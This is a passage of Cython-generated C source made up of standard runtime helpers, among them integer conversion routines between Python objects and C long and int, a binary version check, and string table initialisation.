  6516. return __Pyx_Print(f, NULL, 0);
  6517. }
  6518. #else
  6519. static int __Pyx_PrintOne(PyObject* stream, PyObject *o) {
  6520. int res;
  6521. PyObject* arg_tuple = PyTuple_Pack(1, o);
  6522. if (unlikely(!arg_tuple))
  6523. return -1;
  6524. res = __Pyx_Print(stream, arg_tuple, 1);
  6525. Py_DECREF(arg_tuple);
  6526. return res;
  6527. }
  6528. #endif
  6529. /* CIntToPy */
  6530. static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) {
  6531. const long neg_one = (long) -1, const_zero = (long) 0;
  6532. const int is_unsigned = neg_one > const_zero;
  6533. if (is_unsigned) {
  6534. if (sizeof(long) < sizeof(long)) {
  6535. return PyInt_FromLong((long) value);
  6536. } else if (sizeof(long) <= sizeof(unsigned long)) {
  6537. return PyLong_FromUnsignedLong((unsigned long) value);
  6538. #ifdef HAVE_LONG_LONG
  6539. } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) {
  6540. return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value);
  6541. #endif
  6542. }
  6543. } else {
  6544. if (sizeof(long) <= sizeof(long)) {
  6545. return PyInt_FromLong((long) value);
  6546. #ifdef HAVE_LONG_LONG
  6547. } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) {
  6548. return PyLong_FromLongLong((PY_LONG_LONG) value);
  6549. #endif
  6550. }
  6551. }
  6552. {
  6553. int one = 1; int little = (int)*(unsigned char *)&one;
  6554. unsigned char *bytes = (unsigned char *)&value;
  6555. return _PyLong_FromByteArray(bytes, sizeof(long),
  6556. little, !is_unsigned);
  6557. }
  6558. }
  6559. /* CIntFromPyVerify */
  6560. #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\
  6561. __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0)
  6562. #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\
  6563. __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1)
  6564. #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\
  6565. {\
  6566. func_type value = func_value;\
  6567. if (sizeof(target_type) < sizeof(func_type)) {\
  6568. if (unlikely(value != (func_type) (target_type) value)) {\
  6569. func_type zero = 0;\
  6570. if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\
  6571. return (target_type) -1;\
  6572. if (is_unsigned && unlikely(value < zero))\
  6573. goto raise_neg_overflow;\
  6574. else\
  6575. goto raise_overflow;\
  6576. }\
  6577. }\
  6578. return (target_type) value;\
  6579. }
  6580. /* CIntFromPy */
  6581. static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) {
  6582. const long neg_one = (long) -1, const_zero = (long) 0;
  6583. const int is_unsigned = neg_one > const_zero;
  6584. #if PY_MAJOR_VERSION < 3
  6585. if (likely(PyInt_Check(x))) {
  6586. if (sizeof(long) < sizeof(long)) {
  6587. __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x))
  6588. } else {
  6589. long val = PyInt_AS_LONG(x);
  6590. if (is_unsigned && unlikely(val < 0)) {
  6591. goto raise_neg_overflow;
  6592. }
  6593. return (long) val;
  6594. }
  6595. } else
  6596. #endif
  6597. if (likely(PyLong_Check(x))) {
  6598. if (is_unsigned) {
  6599. #if CYTHON_USE_PYLONG_INTERNALS
  6600. const digit* digits = ((PyLongObject*)x)->ob_digit;
  6601. switch (Py_SIZE(x)) {
  6602. case 0: return (long) 0;
  6603. case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0])
  6604. case 2:
  6605. if (8 * sizeof(long) > 1 * PyLong_SHIFT) {
  6606. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6607. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6608. } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) {
  6609. return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]));
  6610. }
  6611. }
  6612. break;
  6613. case 3:
  6614. if (8 * sizeof(long) > 2 * PyLong_SHIFT) {
  6615. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6616. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6617. } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) {
  6618. return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]));
  6619. }
  6620. }
  6621. break;
  6622. case 4:
  6623. if (8 * sizeof(long) > 3 * PyLong_SHIFT) {
  6624. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6625. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6626. } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) {
  6627. return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]));
  6628. }
  6629. }
  6630. break;
  6631. }
  6632. #endif
  6633. #if CYTHON_COMPILING_IN_CPYTHON
  6634. if (unlikely(Py_SIZE(x) < 0)) {
  6635. goto raise_neg_overflow;
  6636. }
  6637. #else
  6638. {
  6639. int result = PyObject_RichCompareBool(x, Py_False, Py_LT);
  6640. if (unlikely(result < 0))
  6641. return (long) -1;
  6642. if (unlikely(result == 1))
  6643. goto raise_neg_overflow;
  6644. }
  6645. #endif
  6646. if (sizeof(long) <= sizeof(unsigned long)) {
  6647. __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x))
  6648. #ifdef HAVE_LONG_LONG
  6649. } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) {
  6650. __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x))
  6651. #endif
  6652. }
  6653. } else {
  6654. #if CYTHON_USE_PYLONG_INTERNALS
  6655. const digit* digits = ((PyLongObject*)x)->ob_digit;
  6656. switch (Py_SIZE(x)) {
  6657. case 0: return (long) 0;
  6658. case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0]))
  6659. case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0])
  6660. case -2:
  6661. if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) {
  6662. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6663. __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6664. } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) {
  6665. return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6666. }
  6667. }
  6668. break;
  6669. case 2:
  6670. if (8 * sizeof(long) > 1 * PyLong_SHIFT) {
  6671. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6672. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6673. } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) {
  6674. return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6675. }
  6676. }
  6677. break;
  6678. case -3:
  6679. if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) {
  6680. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6681. __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6682. } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) {
  6683. return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6684. }
  6685. }
  6686. break;
  6687. case 3:
  6688. if (8 * sizeof(long) > 2 * PyLong_SHIFT) {
  6689. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6690. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6691. } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) {
  6692. return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6693. }
  6694. }
  6695. break;
  6696. case -4:
  6697. if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) {
  6698. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6699. __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6700. } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) {
  6701. return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6702. }
  6703. }
  6704. break;
  6705. case 4:
  6706. if (8 * sizeof(long) > 3 * PyLong_SHIFT) {
  6707. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6708. __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6709. } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) {
  6710. return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])));
  6711. }
  6712. }
  6713. break;
  6714. }
  6715. #endif
  6716. if (sizeof(long) <= sizeof(long)) {
  6717. __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x))
  6718. #ifdef HAVE_LONG_LONG
  6719. } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) {
  6720. __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x))
  6721. #endif
  6722. }
  6723. }
  6724. {
  6725. #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray)
  6726. PyErr_SetString(PyExc_RuntimeError,
  6727. "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers");
  6728. #else
  6729. long val;
  6730. PyObject *v = __Pyx_PyNumber_IntOrLong(x);
  6731. #if PY_MAJOR_VERSION < 3
  6732. if (likely(v) && !PyLong_Check(v)) {
  6733. PyObject *tmp = v;
  6734. v = PyNumber_Long(tmp);
  6735. Py_DECREF(tmp);
  6736. }
  6737. #endif
  6738. if (likely(v)) {
  6739. int one = 1; int is_little = (int)*(unsigned char *)&one;
  6740. unsigned char *bytes = (unsigned char *)&val;
  6741. int ret = _PyLong_AsByteArray((PyLongObject *)v,
  6742. bytes, sizeof(val),
  6743. is_little, !is_unsigned);
  6744. Py_DECREF(v);
  6745. if (likely(!ret))
  6746. return val;
  6747. }
  6748. #endif
  6749. return (long) -1;
  6750. }
  6751. } else {
  6752. long val;
  6753. PyObject *tmp = __Pyx_PyNumber_IntOrLong(x);
  6754. if (!tmp) return (long) -1;
  6755. val = __Pyx_PyInt_As_long(tmp);
  6756. Py_DECREF(tmp);
  6757. return val;
  6758. }
  6759. raise_overflow:
  6760. PyErr_SetString(PyExc_OverflowError,
  6761. "value too large to convert to long");
  6762. return (long) -1;
  6763. raise_neg_overflow:
  6764. PyErr_SetString(PyExc_OverflowError,
  6765. "can't convert negative value to long");
  6766. return (long) -1;
  6767. }
  6768. /* CIntFromPy */
  6769. static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) {
  6770. const int neg_one = (int) -1, const_zero = (int) 0;
  6771. const int is_unsigned = neg_one > const_zero;
  6772. #if PY_MAJOR_VERSION < 3
  6773. if (likely(PyInt_Check(x))) {
  6774. if (sizeof(int) < sizeof(long)) {
  6775. __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x))
  6776. } else {
  6777. long val = PyInt_AS_LONG(x);
  6778. if (is_unsigned && unlikely(val < 0)) {
  6779. goto raise_neg_overflow;
  6780. }
  6781. return (int) val;
  6782. }
  6783. } else
  6784. #endif
  6785. if (likely(PyLong_Check(x))) {
  6786. if (is_unsigned) {
  6787. #if CYTHON_USE_PYLONG_INTERNALS
  6788. const digit* digits = ((PyLongObject*)x)->ob_digit;
  6789. switch (Py_SIZE(x)) {
  6790. case 0: return (int) 0;
  6791. case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0])
  6792. case 2:
  6793. if (8 * sizeof(int) > 1 * PyLong_SHIFT) {
  6794. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6795. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6796. } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) {
  6797. return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]));
  6798. }
  6799. }
  6800. break;
  6801. case 3:
  6802. if (8 * sizeof(int) > 2 * PyLong_SHIFT) {
  6803. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6804. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6805. } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) {
  6806. return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]));
  6807. }
  6808. }
  6809. break;
  6810. case 4:
  6811. if (8 * sizeof(int) > 3 * PyLong_SHIFT) {
  6812. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6813. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6814. } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) {
  6815. return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]));
  6816. }
  6817. }
  6818. break;
  6819. }
  6820. #endif
  6821. #if CYTHON_COMPILING_IN_CPYTHON
  6822. if (unlikely(Py_SIZE(x) < 0)) {
  6823. goto raise_neg_overflow;
  6824. }
  6825. #else
  6826. {
  6827. int result = PyObject_RichCompareBool(x, Py_False, Py_LT);
  6828. if (unlikely(result < 0))
  6829. return (int) -1;
  6830. if (unlikely(result == 1))
  6831. goto raise_neg_overflow;
  6832. }
  6833. #endif
  6834. if (sizeof(int) <= sizeof(unsigned long)) {
  6835. __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x))
  6836. #ifdef HAVE_LONG_LONG
  6837. } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) {
  6838. __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x))
  6839. #endif
  6840. }
  6841. } else {
  6842. #if CYTHON_USE_PYLONG_INTERNALS
  6843. const digit* digits = ((PyLongObject*)x)->ob_digit;
  6844. switch (Py_SIZE(x)) {
  6845. case 0: return (int) 0;
  6846. case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0]))
  6847. case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0])
  6848. case -2:
  6849. if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) {
  6850. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6851. __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6852. } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) {
  6853. return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6854. }
  6855. }
  6856. break;
  6857. case 2:
  6858. if (8 * sizeof(int) > 1 * PyLong_SHIFT) {
  6859. if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) {
  6860. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6861. } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) {
  6862. return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6863. }
  6864. }
  6865. break;
  6866. case -3:
  6867. if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) {
  6868. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6869. __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6870. } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) {
  6871. return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6872. }
  6873. }
  6874. break;
  6875. case 3:
  6876. if (8 * sizeof(int) > 2 * PyLong_SHIFT) {
  6877. if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) {
  6878. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6879. } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) {
  6880. return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6881. }
  6882. }
  6883. break;
  6884. case -4:
  6885. if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) {
  6886. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6887. __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6888. } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) {
  6889. return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6890. }
  6891. }
  6892. break;
  6893. case 4:
  6894. if (8 * sizeof(int) > 3 * PyLong_SHIFT) {
  6895. if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) {
  6896. __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])))
  6897. } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) {
  6898. return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])));
  6899. }
  6900. }
  6901. break;
  6902. }
  6903. #endif
  6904. if (sizeof(int) <= sizeof(long)) {
  6905. __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x))
  6906. #ifdef HAVE_LONG_LONG
  6907. } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) {
  6908. __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x))
  6909. #endif
  6910. }
  6911. }
  6912. {
  6913. #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray)
  6914. PyErr_SetString(PyExc_RuntimeError,
  6915. "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers");
  6916. #else
  6917. int val;
  6918. PyObject *v = __Pyx_PyNumber_IntOrLong(x);
  6919. #if PY_MAJOR_VERSION < 3
  6920. if (likely(v) && !PyLong_Check(v)) {
  6921. PyObject *tmp = v;
  6922. v = PyNumber_Long(tmp);
  6923. Py_DECREF(tmp);
  6924. }
  6925. #endif
  6926. if (likely(v)) {
  6927. int one = 1; int is_little = (int)*(unsigned char *)&one;
  6928. unsigned char *bytes = (unsigned char *)&val;
  6929. int ret = _PyLong_AsByteArray((PyLongObject *)v,
  6930. bytes, sizeof(val),
  6931. is_little, !is_unsigned);
  6932. Py_DECREF(v);
  6933. if (likely(!ret))
  6934. return val;
  6935. }
  6936. #endif
  6937. return (int) -1;
  6938. }
  6939. } else {
  6940. int val;
  6941. PyObject *tmp = __Pyx_PyNumber_IntOrLong(x);
  6942. if (!tmp) return (int) -1;
  6943. val = __Pyx_PyInt_As_int(tmp);
  6944. Py_DECREF(tmp);
  6945. return val;
  6946. }
  6947. raise_overflow:
  6948. PyErr_SetString(PyExc_OverflowError,
  6949. "value too large to convert to int");
  6950. return (int) -1;
  6951. raise_neg_overflow:
  6952. PyErr_SetString(PyExc_OverflowError,
  6953. "can't convert negative value to int");
  6954. return (int) -1;
  6955. }
  6956. /* CheckBinaryVersion */
  6957. static int __Pyx_check_binary_version(void) {
  6958. char ctversion[4], rtversion[4];
  6959. PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION);
  6960. PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion());
  6961. if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) {
  6962. char message[200];
  6963. PyOS_snprintf(message, sizeof(message),
  6964. "compiletime version %s of module '%.100s' "
  6965. "does not match runtime version %s",
  6966. ctversion, __Pyx_MODULE_NAME, rtversion);
  6967. return PyErr_WarnEx(NULL, message, 1);
  6968. }
  6969. return 0;
  6970. }
  6971. /* InitStrings */
  6972. static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) {
  6973. while (t->p) {
  6974. #if PY_MAJOR_VERSION < 3
  6975. if (t->is_unicode) {
  6976. *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL);
  6977. } else if (t->intern) {
  6978. *t->p = PyString_InternFromString(t->s);
  6979. } else {
  6980. *t->p = PyString_FromStringAndSize(t->s, t->n - 1);
  6981. }
  6982. #else
  6983. if (t->is_unicode | t->is_str) {
  6984. if (t->intern) {
  6985. *t->p = PyUnicode_InternFromString(t->s);
  6986. } else if (t->encoding) {
  6987. *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL);
  6988. } else {
  6989. *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1);
  6990. }
  6991. } else {
  6992. *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1);
  6993. }
  6994. #endif
  6995. if (!*t->p)
  6996. return -1;
  6997. if (PyObject_Hash(*t->p) == -1)
  6998. PyErr_Clear();
  6999. ++t;
  7000. }
  7001. return 0;
  7002. }
  7003. static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) {
  7004. return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str));
  7005. }
  7006. static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) {
  7007. Py_ssize_t ignore;
  7008. return __Pyx_PyObject_AsStringAndSize(o, &ignore);
  7009. }
  7010. static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) {
  7011. #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT)
  7012. if (
  7013. #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII
  7014. __Pyx_sys_getdefaultencoding_not_ascii &&
  7015. #endif
  7016. PyUnicode_Check(o)) {
  7017. #if PY_VERSION_HEX < 0x03030000
  7018. char* defenc_c;
  7019. PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL);
  7020. if (!defenc) return NULL;
  7021. defenc_c = PyBytes_AS_STRING(defenc);
  7022. #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII
  7023. {
  7024. char* end = defenc_c + PyBytes_GET_SIZE(defenc);
  7025. char* c;
  7026. for (c = defenc_c; c < end; c++) {
  7027. if ((unsigned char) (*c) >= 128) {
  7028. PyUnicode_AsASCIIString(o);
  7029. return NULL;
  7030. }
  7031. }
  7032. }
  7033. #endif
  7034. *length = PyBytes_GET_SIZE(defenc);
  7035. return defenc_c;
  7036. #else
  7037. if (__Pyx_PyUnicode_READY(o) == -1) return NULL;
  7038. #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII
  7039. if (PyUnicode_IS_ASCII(o)) {
  7040. *length = PyUnicode_GET_LENGTH(o);
  7041. return PyUnicode_AsUTF8(o);
  7042. } else {
  7043. PyUnicode_AsASCIIString(o);
  7044. return NULL;
  7045. }
  7046. #else
  7047. return PyUnicode_AsUTF8AndSize(o, length);
  7048. #endif
  7049. #endif
  7050. } else
  7051. #endif
  7052. #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE))
  7053. if (PyByteArray_Check(o)) {
  7054. *length = PyByteArray_GET_SIZE(o);
  7055. return PyByteArray_AS_STRING(o);
  7056. } else
  7057. #endif
  7058. {
  7059. char* result;
  7060. int r = PyBytes_AsStringAndSize(o, &result, length);
  7061. if (unlikely(r < 0)) {
  7062. return NULL;
  7063. } else {
  7064. return result;
  7065. }
  7066. }
  7067. }
  7068. static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) {
  7069. int is_true = x == Py_True;
  7070. if (is_true | (x == Py_False) | (x == Py_None)) return is_true;
  7071. else return PyObject_IsTrue(x);
  7072. }
  7073. static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) {
  7074. #if CYTHON_USE_TYPE_SLOTS
  7075. PyNumberMethods *m;
  7076. #endif
  7077. const char *name = NULL;
  7078. PyObject *res = NULL;
  7079. #if PY_MAJOR_VERSION < 3
  7080. if (PyInt_Check(x) || PyLong_Check(x))
  7081. #else
  7082. if (PyLong_Check(x))
  7083. #endif
  7084. return __Pyx_NewRef(x);
  7085. #if CYTHON_USE_TYPE_SLOTS
  7086. m = Py_TYPE(x)->tp_as_number;
  7087. #if PY_MAJOR_VERSION < 3
  7088. if (m && m->nb_int) {
  7089. name = "int";
  7090. res = PyNumber_Int(x);
  7091. }
  7092. else if (m && m->nb_long) {
  7093. name = "long";
  7094. res = PyNumber_Long(x);
  7095. }
  7096. #else
  7097. if (m && m->nb_int) {
  7098. name = "int";
  7099. res = PyNumber_Long(x);
  7100. }
  7101. #endif
  7102. #else
  7103. res = PyNumber_Int(x);
  7104. #endif
  7105. if (res) {
  7106. #if PY_MAJOR_VERSION < 3
  7107. if (!PyInt_Check(res) && !PyLong_Check(res)) {
  7108. #else
  7109. if (!PyLong_Check(res)) {
  7110. #endif
  7111. PyErr_Format(PyExc_TypeError,
  7112. "__%.4s__ returned non-%.4s (type %.200s)",
  7113. name, name, Py_TYPE(res)->tp_name);
  7114. Py_DECREF(res);
  7115. return NULL;
  7116. }
  7117. }
  7118. else if (!PyErr_Occurred()) {
  7119. PyErr_SetString(PyExc_TypeError,
  7120. "an integer is required");
  7121. }
  7122. return res;
  7123. }
  7124. static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) {
  7125. Py_ssize_t ival;
  7126. PyObject *x;
  7127. #if PY_MAJOR_VERSION < 3
  7128. if (likely(PyInt_CheckExact(b))) {
  7129. if (sizeof(Py_ssize_t) >= sizeof(long))
  7130. return PyInt_AS_LONG(b);
  7131. else
  7132. return PyInt_AsSsize_t(x);
  7133. }
  7134. #endif
  7135. if (likely(PyLong_CheckExact(b))) {
  7136. #if CYTHON_USE_PYLONG_INTERNALS
  7137. const digit* digits = ((PyLongObject*)b)->ob_digit;
  7138. const Py_ssize_t size = Py_SIZE(b);
  7139. if (likely(__Pyx_sst_abs(size) <= 1)) {
  7140. ival = likely(size) ? digits[0] : 0;
  7141. if (size == -1) ival = -ival;
  7142. return ival;
  7143. } else {
  7144. switch (size) {
  7145. case 2:
  7146. if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) {
  7147. return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7148. }
  7149. break;
  7150. case -2:
  7151. if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) {
  7152. return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7153. }
  7154. break;
  7155. case 3:
  7156. if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) {
  7157. return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7158. }
